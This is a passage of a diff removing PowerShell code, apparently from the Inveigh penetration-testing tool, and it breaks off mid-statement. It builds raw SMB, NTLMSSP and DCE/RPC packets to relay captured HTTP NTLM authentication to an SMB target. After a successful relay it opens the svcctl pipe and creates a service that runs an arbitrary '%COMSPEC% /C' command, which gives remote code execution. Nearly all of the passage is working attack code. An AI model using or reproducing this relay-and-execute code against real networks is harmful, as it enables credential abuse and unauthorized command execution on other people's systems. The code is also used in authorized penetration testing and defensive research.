- $packet_RPCBind.Add("RPCBind_NumTransItems2",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown3",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface2",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_RPCBind.Add("RPCBind_InterfaceVer2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor2",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x02,0x00)) - $packet_RPCBind.Add("RPCBind_NumTransItems3",[Byte[]](0x01)) - $packet_RPCBind.Add("RPCBind_Unknown4",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_Interface3",[Byte[]](0x43,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) - $packet_RPCBind.Add("RPCBind_InterfaceVer3",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_InterfaceVerMinor3",[Byte[]](0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) - $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x04)) - $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_ContextID4",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) - } - - if($packet_call_ID -eq 3) - { - $packet_RPCBind.Add("RPCBind_AuthType",[Byte[]](0x0a)) - $packet_RPCBind.Add("RPCBind_AuthLevel",[Byte[]](0x02)) - $packet_RPCBind.Add("RPCBind_AuthPadLength",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_AuthReserved",[Byte[]](0x00)) - $packet_RPCBind.Add("RPCBind_ContextID3",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_RPCBind.Add("RPCBind_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_RPCBind.Add("RPCBind_OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f)) - } - - return $packet_RPCBind - } - - function Get-PacketRPCRequest() - { - param([Byte[]]$packet_flags,[Int]$packet_service_length,[Int]$packet_auth_length,[Int]$packet_auth_padding,[Byte[]]$packet_call_ID,[Byte[]]$packet_context_ID,[Byte[]]$packet_opnum,[Byte[]]$packet_data) - - if($packet_auth_length -gt 0) - { - $packet_full_auth_length = $packet_auth_length + $packet_auth_padding + 8 - } - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service_length + 24 + $packet_full_auth_length + $packet_data.Length) - [Byte[]]$packet_frag_length = $packet_write_length[0,1] - [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service_length + $packet_data.Length) - [Byte[]]$packet_auth_length = [System.BitConverter]::GetBytes($packet_auth_length) - $packet_auth_length = $packet_auth_length[0,1] - - $packet_RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_RPCRequest.Add("RPCRequest_Version",[Byte[]](0x05)) - $packet_RPCRequest.Add("RPCRequest_VersionMinor",[Byte[]](0x00)) - $packet_RPCRequest.Add("RPCRequest_PacketType",[Byte[]](0x00)) - $packet_RPCRequest.Add("RPCRequest_PacketFlags",$packet_flags) - $packet_RPCRequest.Add("RPCRequest_DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_RPCRequest.Add("RPCRequest_FragLength",$packet_frag_length) - $packet_RPCRequest.Add("RPCRequest_AuthLength",$packet_auth_length) - $packet_RPCRequest.Add("RPCRequest_CallID",$packet_call_ID) - $packet_RPCRequest.Add("RPCRequest_AllocHint",$packet_alloc_hint) - $packet_RPCRequest.Add("RPCRequest_ContextID",$packet_context_ID) - $packet_RPCRequest.Add("RPCRequest_Opnum",$packet_opnum) - - if($packet_data.Length) - { - $packet_RPCRequest.Add("RPCRequest_Data",$packet_data) - } - - return $packet_RPCRequest - } - - #SCM - - function Get-PacketSCMOpenSCManagerW() - { - param ([Byte[]]$packet_service,[Byte[]]$packet_service_length) - - [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_service.Length + 92) - [Byte[]]$packet_frag_length = $packet_write_length[0,1] - [Byte[]]$packet_alloc_hint = [System.BitConverter]::GetBytes($packet_service.Length + 68) - $packet_referent_ID1 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $packet_referent_ID1 = $packet_referent_ID1.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_referent_ID1 += 0x00,0x00 - $packet_referent_ID2 = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $packet_referent_ID2 = $packet_referent_ID2.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_referent_ID2 += 0x00,0x00 - - $packet_SCMOpenSCManagerW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ReferentID",$packet_referent_ID1) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_MaxCount",$packet_service_length) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName_ActualCount",$packet_service_length) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_MachineName",$packet_service) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_ReferentID",$packet_referent_ID2) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_Unknown",[Byte[]](0xbf,0xbf)) - $packet_SCMOpenSCManagerW.Add("SCMOpenSCManagerW_AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) - - return $packet_SCMOpenSCManagerW - } - - function Get-PacketSCMCreateServiceW() - { - param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, - [Byte[]]$packet_command,[Byte[]]$packet_command_length) - - $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_referent_ID += 0x00,0x00 - - $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ContextHandle",$packet_context_handle) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_MaxCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_ActualCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName",$packet_service) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ReferentID",$packet_referent_ID) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_MaxCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ActualCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName",$packet_service) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_MaxCount",$packet_command_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_ActualCount",$packet_command_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName",$packet_command) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_TagID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DependSize",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) - - return $packet_SCMCreateServiceW - } - - function Get-PacketSCMStartServiceW() - { - param([Byte[]]$packet_context_handle) - - $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMStartServiceW.Add("SCMStartServiceW_ContextHandle",$packet_context_handle) - $packet_SCMStartServiceW.Add("SCMStartServiceW_Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - return $packet_SCMStartServiceW - } - - function Get-PacketSCMDeleteServiceW() - { - param([Byte[]]$packet_context_handle) - - $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMDeleteServiceW.Add("SCMDeleteServiceW_ContextHandle",$packet_context_handle) - - return $packet_SCMDeleteServiceW - } - - function Get-PacketSCMCloseServiceHandle() - { - param([Byte[]]$packet_context_handle) - - $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCM_CloseServiceW.Add("SCMCloseServiceW_ContextHandle",$packet_context_handle) - - return $packet_SCM_CloseServiceW - } - -} - -# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge -$SMB_NTLM_functions_scriptblock = -{ - function SMBNTLMChallenge - { - param ([Byte[]]$payload_bytes) - - $payload = [System.BitConverter]::ToString($payload_bytes) - $payload = $payload -replace "-","" - $NTLM_index = $payload.IndexOf("4E544C4D53535000") - - if($payload.SubString(($NTLM_index + 16),8) -eq "02000000") - { - $NTLM_challenge = $payload.SubString(($NTLM_index + 48),16) - } - - return $NTLM_challenge - } - -} - -# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target -$SMB_relay_challenge_scriptblock = -{ - function SMBRelayChallenge - { - param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version) - - if($SMB_relay_socket) - { - $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() - } - - $SMB_client_receive = New-Object System.Byte[] 1024 - $SMB_client_stage = 'NegotiateSMB' - - :SMB_relay_challenge_loop while($SMB_client_stage -ne 'exit') - { - - switch ($SMB_client_stage) - { - - 'NegotiateSMB' - { - $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 - $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_relay_challenge_stream.Flush() - $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') - { - $SMB_version = 'SMB1' - $SMB_client_stage = 'NTLMSSPNegotiate' - } - else - { - $SMB_client_stage = 'NegotiateSMB2' - } - - if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03')) - { - $inveigh.console_queue.Add("SMB relay disabled due to SMB signing requirement on $Target") - $SMB_relay_socket.Close() - $SMB_client_receive = $null - $inveigh.SMB_relay = $false - $SMB_client_stage = 'exit' - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay disabled due to SMB signing requirement on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB relay disabled due to SMB signing requirement on $Target") - } - - } - - } - - 'NegotiateSMB2' - { - $SMB2_tree_ID = 0x00,0x00,0x00,0x00 - $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2_message_ID = 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_relay_challenge_stream.Flush() - $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'NTLMSSPNegotiate' - } - - 'NTLMSSPNegotiate' - { - - if($SMB_version -eq 'SMB1') - { - $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 - $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - } - - $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_relay_challenge_stream.Flush() - $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'exit' - } - - } - - } - - return $SMB_client_receive - } - -} - -# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target -$SMB_relay_response_scriptblock = -{ - function SMBRelayResponse - { - param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$SMB_session_ID) - - $SMB_client_receive = New-Object System.Byte[] 1024 - - if($SMB_relay_socket) - { - $SMB_relay_response_stream = $SMB_relay_socket.GetStream() - } - - if($SMB_version -eq 'SMB1') - { - $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID - $packet_SMB_header["SMBHeader_UserID"] = $SMB_user_ID - $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $HTTP_request_bytes - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_auth - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $SMB2_message_ID = 3 - $SMB2_tree_ID = 0x00,0x00,0x00,0x00 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $HTTP_request_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - } - - $SMB_relay_response_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_relay_response_stream.Flush() - $SMB_relay_response_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - - if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00')) - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - } - - } - else - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $Target") - $SMB_relay_failed = $true - $SMB_relay_socket.Close() - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") - } - - } - - if(!$SMB_relay_failed) - { - - if(!$Service) - { - $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) - $SMB_service = $SMB_service_random -replace "-00","" - $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) - $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) - $SMB_service_random += '00-00-00-00-00' - $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $SMB_service = $Service - $SMB_service_bytes = [System.Text.Encoding]::Unicode.GetBytes($Service) - - if([Bool]($SMB_service.Length % 2)) - { - $SMB_service_bytes += 0x00,0x00 - } - else - { - $SMB_service_bytes += 0x00,0x00,0x00,0x00 - - } - - } - - $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) - $Command = "%COMSPEC% /C `"" + $Command + "`"" - [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$PsExec_command += "{0:X2}-00-" -f $_} - - if([Bool]($Command.Length % 2)) - { - $PsExec_command += '00-00' - } - else - { - $PsExec_command += '00-00-00-00' - } - - $PsExec_command_bytes = $PsExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $PsExec_command_length_bytes = [System.BitConverter]::GetBytes($PsExec_command_bytes.Length / 2) - - $SMB_path = "\\" + $Target + "\IPC$" - - if($SMB_version -eq 'SMB1') - { - $SMB_path_bytes = [System.Text.Encoding]::UTF8.GetBytes($SMB_path) + 0x00 - } - else - { - $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) - } - - $SMB_named_pipe_UUID = 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03 - $SMB_client_stream = $SMB_relay_socket.GetStream() - $SMB_split_index = 4256 - - if($SMB_version -eq 'SMB1') - { - $SMB_client_stage = 'TreeConnectAndXRequest' - - :SMB_execute_loop while ($SMB_client_stage -ne 'Exit') - { - - switch ($SMB_client_stage) - { - - 'TreeConnectAndXRequest' - { - $packet_SMB_header = Get-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBTreeConnectAndXRequest $SMB_path_bytes - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'CreateAndXRequest' - } - - 'CreateAndXRequest' - { - $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl - $SMB_tree_ID = $SMB_client_receive[28,29] - $packet_SMB_header = Get-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'RPCBind' - } - - 'RPCBind' - { - $SMB_FID = $SMB_client_receive[42,43] - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_RPC_data = Get-PacketRPCBind 1 0xb8,0x10 0x01 0x00,0x00 $SMB_named_pipe_UUID 0x02,0x00 - $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data - $packet_SMB_data = Get-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $RPC_data_length = $SMB_data.Length + $RPC_data.Length - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = 'ReadAndXRequest' - $SMB_client_stage_next = 'OpenSCManagerW' - } - - 'ReadAndXRequest' - { - Start-Sleep -m 150 - $packet_SMB_header = Get-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $packet_SMB_data = Get-PacketSMBReadAndXRequest - $packet_SMB_data["SMBReadAndXRequest_FID"] = $SMB_FID - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) - $SMB_client_stage = $SMB_client_stage_next - } - - 'OpenSCManagerW' - { - $packet_SMB_header = Get-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $inveigh.process_ID_bytes $SMB_user_ID - $packet_SCM_data = 